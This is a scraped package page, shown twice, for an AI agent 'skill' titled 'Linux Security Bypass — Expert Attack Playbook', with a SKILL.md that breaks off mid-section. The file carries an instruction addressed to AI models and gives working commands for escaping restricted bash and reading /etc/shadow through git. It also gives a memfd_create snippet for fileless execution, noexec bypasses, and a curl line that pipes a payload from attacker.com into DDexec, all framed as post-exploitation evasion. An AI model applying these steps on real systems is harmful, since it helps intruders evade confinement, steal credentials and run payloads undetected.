linux-security-bypass

Name: linux-security-bypass
Author: Prohao42

91stars8forks

How to install linux-security-bypass?

prohao42/aimy-skill/linux-security-bypass

$npx -y skills add Prohao42/aimy-skill --skill linux-security-bypass

Installs into the current project.

Summary

Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Security Bypass — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once you've broken out of restrictions and need to escalate
10	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after bypassing restrictions for pivoting
12	- [cmdi-command-injection](../cmdi-command-injection/SKILL.md) when the restriction is on command execution from a web application context
13
14	---
15
16	## 1. RESTRICTED BASH (rbash) BYPASS
17
18	### 1.1 SSH-Based Bypass
19
20	```bash
21	# Force a different shell via SSH
22	ssh user@host -t "bash --noprofile --norc"
23	ssh user@host -t "/bin/sh"
24	ssh user@host -t "bash -l"
25
26	# If ForceCommand is set in sshd_config, these may not work
27	# Try SFTP/SCP instead — often not restricted:
28	sftp user@host
29	# SFTP shell can sometimes execute commands
30	```
31
32	### 1.2 Editor-Based Escape
33
34	```bash
35	# vi/vim escape
36	vi
37	:set shell=/bin/bash
38	:shell
39	# Or: :!/bin/bash
40
41	# ed escape
42	ed
43	!/bin/bash
44
45	# nano (if available)
46	# Ctrl+R → Ctrl+X → command execution
47	```
48
49	### 1.3 Language Interpreter Escape
50
51	\| Interpreter \| Command \|
52	\|---\|---\|
53	\| Python \| `python3 -c 'import pty; pty.spawn("/bin/bash")'` \|
54	\| Perl \| `perl -e 'exec "/bin/bash";'` \|
55	\| Ruby \| `ruby -e 'exec "/bin/bash"'` \|
56	\| Lua \| `lua -e 'os.execute("/bin/bash")'` \|
57	\| PHP \| `php -r 'system("/bin/bash");'` \|
58	\| Node.js \| `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` \|
59	\| AWK \| `awk 'BEGIN {system("/bin/bash")}'` \|
60
61	### 1.4 Environment Variable Tricks
62
63	```bash
64	# Overwrite shell via BASH_CMDS
65	BASH_CMDS[x]=/bin/bash
66	x
67
68	# Use env to spawn unrestricted shell
69	env /bin/bash
70	env -i /bin/bash
71
72	# PATH manipulation (if export is allowed)
73	export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
74	/bin/bash
75
76	# If only specific commands are allowed:
77	# Use allowed command to read files
78	git log --oneline --all -p # git can read arbitrary files
79	git diff /dev/null /etc/shadow
80	```
81
82	### 1.5 Other Escapes
83
84	\| Method \| Command \|
85	\|---\|---\|
86	\| `expect` \| `expect -c 'spawn /bin/bash; interact'` \|
87	\| `script` \| `script -qc /bin/bash /dev/null` \|
88	\| `rlwrap` \| `rlwrap /bin/bash` \|
89	\| `nmap` (old) \| `nmap --interactive` → `!bash` \|
90
91	---
92
93	## 2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION
94
95	### 2.1 DDexec — Execute From stdin via /proc/self/mem
96
97	```bash
98	# DDexec overwrites the running process memory with a new binary
99	# No file written to disk — completely fileless
100
101	# Usage: pipe any ELF binary through DDexec
102	curl -sL https://attacker.com/payload \| bash ddexec.sh
103
104	# How it works:
105	# 1. Opens /proc/self/mem for writing
106	# 2. Seeks to the text segment of the current process
107	# 3. Overwrites it with the target ELF binary
108	# 4. Jumps to the new entry point
109	```
110
111	### 2.2 memfd_create — In-Memory File Descriptor
112
113	```python
114	import ctypes, os
115	libc = ctypes.CDLL("libc.so.6")
116	fd = libc.syscall(319, b"", 0) # SYS_MEMFD_CREATE (x86_64)
117	with open(f"/proc/self/fd/{fd}", "wb") as f:
118	f.write(open("/path/to/binary", "rb").read())
119	os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ) # Bypasses noexec
120	```
121
122	```bash
123	# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd
124	```
125
126	### 2.3 ld.so Direct Execution
127
128	```bash
129	# Use the dynamic linker to execute from a writable mount
130	# Even if the binary's partition is noexec, ld.so runs from its own mount
131	/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
132
133	# Or from /dev/shm (usually writable + exec):
134	cp binary /dev/shm/binary
135	/dev/shm/binary
136	```
137
138	### 2.4 Script Interpreters on noexec
139
140	```bash
141	# Scripts still execute on noexec — only ELF execution is blocked
142	# The interpreter (python/perl/bash) runs from an exec-allowed mount
143	# and reads the script as data
144
145	python3 /noexec/mount/exploit.py # Works
146	perl /noexec/mount/exploit.pl # Works
147	bash /noexec/mount/exploit.sh # Works
148	# But ./exploit (ELF binary) → "Permission denied"
149	```
150
151	### 2.5 Writable Mount Points
152
153	```bash
154	# Common writable + exec-capable locations:
155	/dev/shm # tmpfs — almost always writable + exec
156	/tmp # Sometimes noexec on hardened systems
157	/var/tmp # Often writable
158	/run # tmpfs — check permissions
159
160	# Check mount options:
161	mount \| grep -E "shm\|tmp"
162	# Look for "noexec" flag — if a

People who liked this also viewed

6 picks

Type

linux-security-bypass

91stars8forks

View on GitHub

How to install linux-security-bypass?

prohao42/aimy-skill/linux-security-bypass

$npx -y skills add Prohao42/aimy-skill --skill linux-security-bypass

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Security Bypass — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once you've broken out of restrictions and need to escalate
10	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after bypassing restrictions for pivoting
12	- [cmdi-command-injection](../cmdi-command-injection/SKILL.md) when the restriction is on command execution from a web application context
13
14	---
15
16	## 1. RESTRICTED BASH (rbash) BYPASS
17
18	### 1.1 SSH-Based Bypass
19
20	```bash
21	# Force a different shell via SSH
22	ssh user@host -t "bash --noprofile --norc"
23	ssh user@host -t "/bin/sh"
24	ssh user@host -t "bash -l"
25
26	# If ForceCommand is set in sshd_config, these may not work
27	# Try SFTP/SCP instead — often not restricted:
28	sftp user@host
29	# SFTP shell can sometimes execute commands
30	```
31
32	### 1.2 Editor-Based Escape
33
34	```bash
35	# vi/vim escape
36	vi
37	:set shell=/bin/bash
38	:shell
39	# Or: :!/bin/bash
40
41	# ed escape
42	ed
43	!/bin/bash
44
45	# nano (if available)
46	# Ctrl+R → Ctrl+X → command execution
47	```
48
49	### 1.3 Language Interpreter Escape
50
51	\| Interpreter \| Command \|
52	\|---\|---\|
53	\| Python \| `python3 -c 'import pty; pty.spawn("/bin/bash")'` \|
54	\| Perl \| `perl -e 'exec "/bin/bash";'` \|
55	\| Ruby \| `ruby -e 'exec "/bin/bash"'` \|
56	\| Lua \| `lua -e 'os.execute("/bin/bash")'` \|
57	\| PHP \| `php -r 'system("/bin/bash");'` \|
58	\| Node.js \| `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` \|
59	\| AWK \| `awk 'BEGIN {system("/bin/bash")}'` \|
60
61	### 1.4 Environment Variable Tricks
62
63	```bash
64	# Overwrite shell via BASH_CMDS
65	BASH_CMDS[x]=/bin/bash
66	x
67
68	# Use env to spawn unrestricted shell
69	env /bin/bash
70	env -i /bin/bash
71
72	# PATH manipulation (if export is allowed)
73	export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
74	/bin/bash
75
76	# If only specific commands are allowed:
77	# Use allowed command to read files
78	git log --oneline --all -p # git can read arbitrary files
79	git diff /dev/null /etc/shadow
80	```
81
82	### 1.5 Other Escapes
83
84	\| Method \| Command \|
85	\|---\|---\|
86	\| `expect` \| `expect -c 'spawn /bin/bash; interact'` \|
87	\| `script` \| `script -qc /bin/bash /dev/null` \|
88	\| `rlwrap` \| `rlwrap /bin/bash` \|
89	\| `nmap` (old) \| `nmap --interactive` → `!bash` \|
90
91	---
92
93	## 2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION
94
95	### 2.1 DDexec — Execute From stdin via /proc/self/mem
96
97	```bash
98	# DDexec overwrites the running process memory with a new binary
99	# No file written to disk — completely fileless
100
101	# Usage: pipe any ELF binary through DDexec
102	curl -sL https://attacker.com/payload \| bash ddexec.sh
103
104	# How it works:
105	# 1. Opens /proc/self/mem for writing
106	# 2. Seeks to the text segment of the current process
107	# 3. Overwrites it with the target ELF binary
108	# 4. Jumps to the new entry point
109	```
110
111	### 2.2 memfd_create — In-Memory File Descriptor
112
113	```python
114	import ctypes, os
115	libc = ctypes.CDLL("libc.so.6")
116	fd = libc.syscall(319, b"", 0) # SYS_MEMFD_CREATE (x86_64)
117	with open(f"/proc/self/fd/{fd}", "wb") as f:
118	f.write(open("/path/to/binary", "rb").read())
119	os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ) # Bypasses noexec
120	```
121
122	```bash
123	# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd
124	```
125
126	### 2.3 ld.so Direct Execution
127
128	```bash
129	# Use the dynamic linker to execute from a writable mount
130	# Even if the binary's partition is noexec, ld.so runs from its own mount
131	/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
132
133	# Or from /dev/shm (usually writable + exec):
134	cp binary /dev/shm/binary
135	/dev/shm/binary
136	```
137
138	### 2.4 Script Interpreters on noexec
139
140	```bash
141	# Scripts still execute on noexec — only ELF execution is blocked
142	# The interpreter (python/perl/bash) runs from an exec-allowed mount
143	# and reads the script as data
144
145	python3 /noexec/mount/exploit.py # Works
146	perl /noexec/mount/exploit.pl # Works
147	bash /noexec/mount/exploit.sh # Works
148	# But ./exploit (ELF binary) → "Permission denied"
149	```
150
151	### 2.5 Writable Mount Points
152
153	```bash
154	# Common writable + exec-capable locations:
155	/dev/shm # tmpfs — almost always writable + exec
156	/tmp # Sometimes noexec on hardened systems
157	/var/tmp # Often writable
158	/run # tmpfs — check permissions
159
160	# Check mount options:
161	mount \| grep -E "shm\|tmp"
162	# Look for "noexec" flag — if a

People who liked this also viewed

6 picks

Type